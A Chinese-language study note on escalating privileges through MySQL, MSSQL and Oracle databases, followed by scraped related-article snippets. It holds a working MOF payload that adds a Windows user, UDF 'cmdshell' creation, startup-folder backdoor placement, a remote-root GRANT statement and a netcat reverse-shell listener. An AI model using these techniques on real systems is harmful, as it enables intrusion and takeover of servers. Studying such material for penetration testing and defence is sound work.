7.22-27MY&MS&ORA等SQL数据库提权

思路:在利用系统溢出漏洞无果情况下,可以采用数据库提权;

前提:数据库服务开启,且获得数据库最高权限账号密码;除Access数据库外,其他数据库基本都存在提权可能;

Mysql提权

思路: 服务探针-信息收集-提权利用-获取权限;

1、读取默认数据库配置文件;(了解其命名和查找规则)

sql data inc config conn database common include



2、读取数据库存储和备份文件(了解数据库存储格式及对应内容)

@@basedir/data/数据库名.表名.myd

思路:找到mysq'l安装路径下的,data文件夹中的user.MYD文件;

密码存储在mysql.user目录;

直接解密root密码,为root

3、利用脚本暴力破解(是否支持外联及如何开启外联

默认root不直接外联;

思路: 将爆破脚本传输上网站服务器;

4、远程本地暴力破解,服务器本地暴力破解

UDF提权(原理mysql调用系统命令函数)

首先:UDF(Userdefined function)是用户自定义函数

1.mysql<5.1,导出目录c:/windows/system32

2.mysql=>5.1,导出数据库安装目录/lib/plugin;存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’

思路: 判断数据库版本,执行sql语句select version();,之后查看数据库安装目录,执行select @@basedir;

手工创建plugin目录或利用NTFS流创建

select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION'

创建udf参数命令create function cmdshell returns string soname 'moonnudf.dll'

MOF提权(基于mysql特性)

原理: 利用mof是windows系统一个文件(在 f),托管对象格式;

1、将mof上传至任意可读可写目录下;

利用代码如下

1 #pragma namespace("\\\\.\\root\\subscription")
2 instance of __EventFilter as $EventFilter
3 {
4 EventNamespace = "Root\\Cimv2";
5 Name = "filtP2";
6 Query = "Select * From __InstanceModificationEvent "
7 "Where TargetInstance Isa \"Win32_LocalTime\" "
8 "And TargetInstance.Second = 5";
9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; # 执行命令需修改
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };

2.用sql语句将文件导入;

slelct load_file ('上传目录')into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';

3、等待命令执行成功;

写入启动项(配合操作系统自启动)

win10启动项C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

导出自定义可执行文件到启动目录配置重启执行;

将创建好的后门或执行文件进行服务器启动项写入,配合重启执行;

启动项目录:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup写入后门;

此时若要利用msf进行攻击写入后门提权则必须先开启数据库外联;

GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION; 其中username和password为账密

反弹shell(基于反弹特性命令)

思路:将数据库权限反弹至服务器中,监听服务器端口即可;

nc -l -p 5577

MSSQL提权,转至

[[2023.7.2-3-4Mssql xp_cmdshell提权]]

上述笔记包含 1.xp_cmdshell提权 和 2.sp_oacreate提权

3、沙盒提权

三、Oracle提权

jsp网站后门不需要提权,自带system

提权工具对应三种模式

1、普通用户

2、DBA用户

3、注入模式

7.22-27MY&MS&ORA等SQL数据库提权的更多相关文章

  1. SQL Sever提权

    前言:渗透测试中提权是较为重要的环节,若以低权限身份进行后渗透,测试出的问题相对于高权限的质量会低很多,从一个普通用户,通过手段让自己变为管理员,也可利用操作系统或者应用程序中的错误,设计缺陷或者配置 ...

  2. MySQL数据库提权(一)

    一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql. ...

  3. Oracle数据库提权(dba权限执行系统命令)

    0x01 提权准备 这里我们先创建一个低权限的用户test SQL> conn sys/admin123@orcl as sysdba; 已连接. SQL> create user tes ...

  4. Oracle数据库提权(低权限提升至dba)

    0x01 Oracle存储过程”缺陷” 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创建者的权限,而 in ...

  5. [转载]SQL Server提权系列

    本文原文地址:https://www.cnblogs.com/wintrysec/p/10875232.html 一.利用xp_cmdshell提权 xp_cmdshell默认是关闭的,可以通过下面的 ...

  6. 【汇总】数据库提权(mysql、mssql)

    日期:2018-04-03 11:46:45 作者:Bay0net 介绍:利用 mssql 的 sa 账号提权.利用 MySQL 的 UDF 提权 0x01.mssql 提权 恢复 xp_cmdshe ...

  7. Oracle数据库提权

    一.执行java代码 简介 oracle提权漏洞集中存在于PL/SQL编写的函数.存储过程.包.触发器中.oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者 ...

  8. mssql数据库提权(xp_cmdshell)

    1.关于 "xp_cmdshell" "存储过程":其实质就是一个"集合",那么是什么样的结合呢,就是存储在SqlServer中预先定义好的 ...

  9. (数据库提权——Redis)Redis未授权访问漏洞总结

    一.介绍 1.Redis数据库 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key- ...

  10. mssql数据库提权

    1.关于 “xp_cmdshell” “存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写 ...

随机推荐

  1. Idea 2020.1 编译SpringBoot项目Kotlin报错

    导读 今天公司有个项目莫名其妙的运行不起来,提示Kotlin版本兼容问题,网上找到解决方案后,整理下来. 错误信息 Error:Kotlin: Module was compiled with an ...

  2. django python 循环一个月的每一天

    from datetime import datetime, timedelta def get_dates_in_month(year, month): start_date = datetime( ...

  3. [oeasy]教您玩转python - 0005- 勇闯地下城

     ​ 继续运行 回忆上次内容 上次从1行代码进化到了2行代码 yy p粘贴剪贴板中的内容 将剪贴板中的代码粘贴9999次 9999p 真的实现了万行代码梦 是真·圆梦 没有撒谎的那种 不过圆梦之后多少 ...

  4. 使用 Doxygen 来生成 Box2d 的 API 文档

    对于 Doxygen 以前只听别人说过,而现在使用它也是一个偶然,缘分吧.前两天看 box2d 的官方 sdk 中,发现他有用户手册却没有说明,只是留下了一个 Doxygen 的文件.事情告一段落,然 ...

  5. mybatis源码配置文件解析之五:解析mappers标签(解析class属性)

    在上篇文章中分析了mybatis解析mapper标签中的resource.url属性的过程,<mybatis源码配置文件解析之五:解析mappers标签(解析XML映射文件)>.通过分析可 ...

  6. Jmeter函数助手30-groovy

    groovy函数用于脚本执行. 表达式评估:填入Apache Groovy脚本(不是文件名).本身包含逗号的参数值应根据需要进行转义'\,' 存储结果的变量名(可选) 1.引用变量进行截取字符处理 $ ...

  7. 【PowerDesigner】快速上手

    破解下载地址: https://www.onlinedown.net/soft/577763.htm 安装点试用,完成安装后把破解的dll库文件替换即可 学习参考自: https://www.bili ...

  8. L-BFGS-B(Limited-memory Broyden–Fletcher–Goldfarb–Shanno )算法理解 —— 内存受限的拟牛顿法 —— 数值优化算法

    本文主要讲下个人对数值优化算法中几种常见算法的理解. 什么是优化算法? 给出函数f(X),现在要求 min f(X) 时的X值,这就是最优化问题. 1. 共轭梯度法 方程:A*x=b,A矩阵为对称正定 ...

  9. 深度学习用什么卡比较给力?—— A100/H100真的么有RTX4090好吗?

    近日看到这么一个帖子: https://www.zhihu.com/question/612568623/answer/3131709693 ============================= ...

  10. 树莓派CM4(二): UART/IIC/SPI调试

    1. 参考资料 资料汇总页面 https://shumeipai.nxez.com/raspberry-pi-datasheets <bcm2711-peripherals.pdf>,下载 ...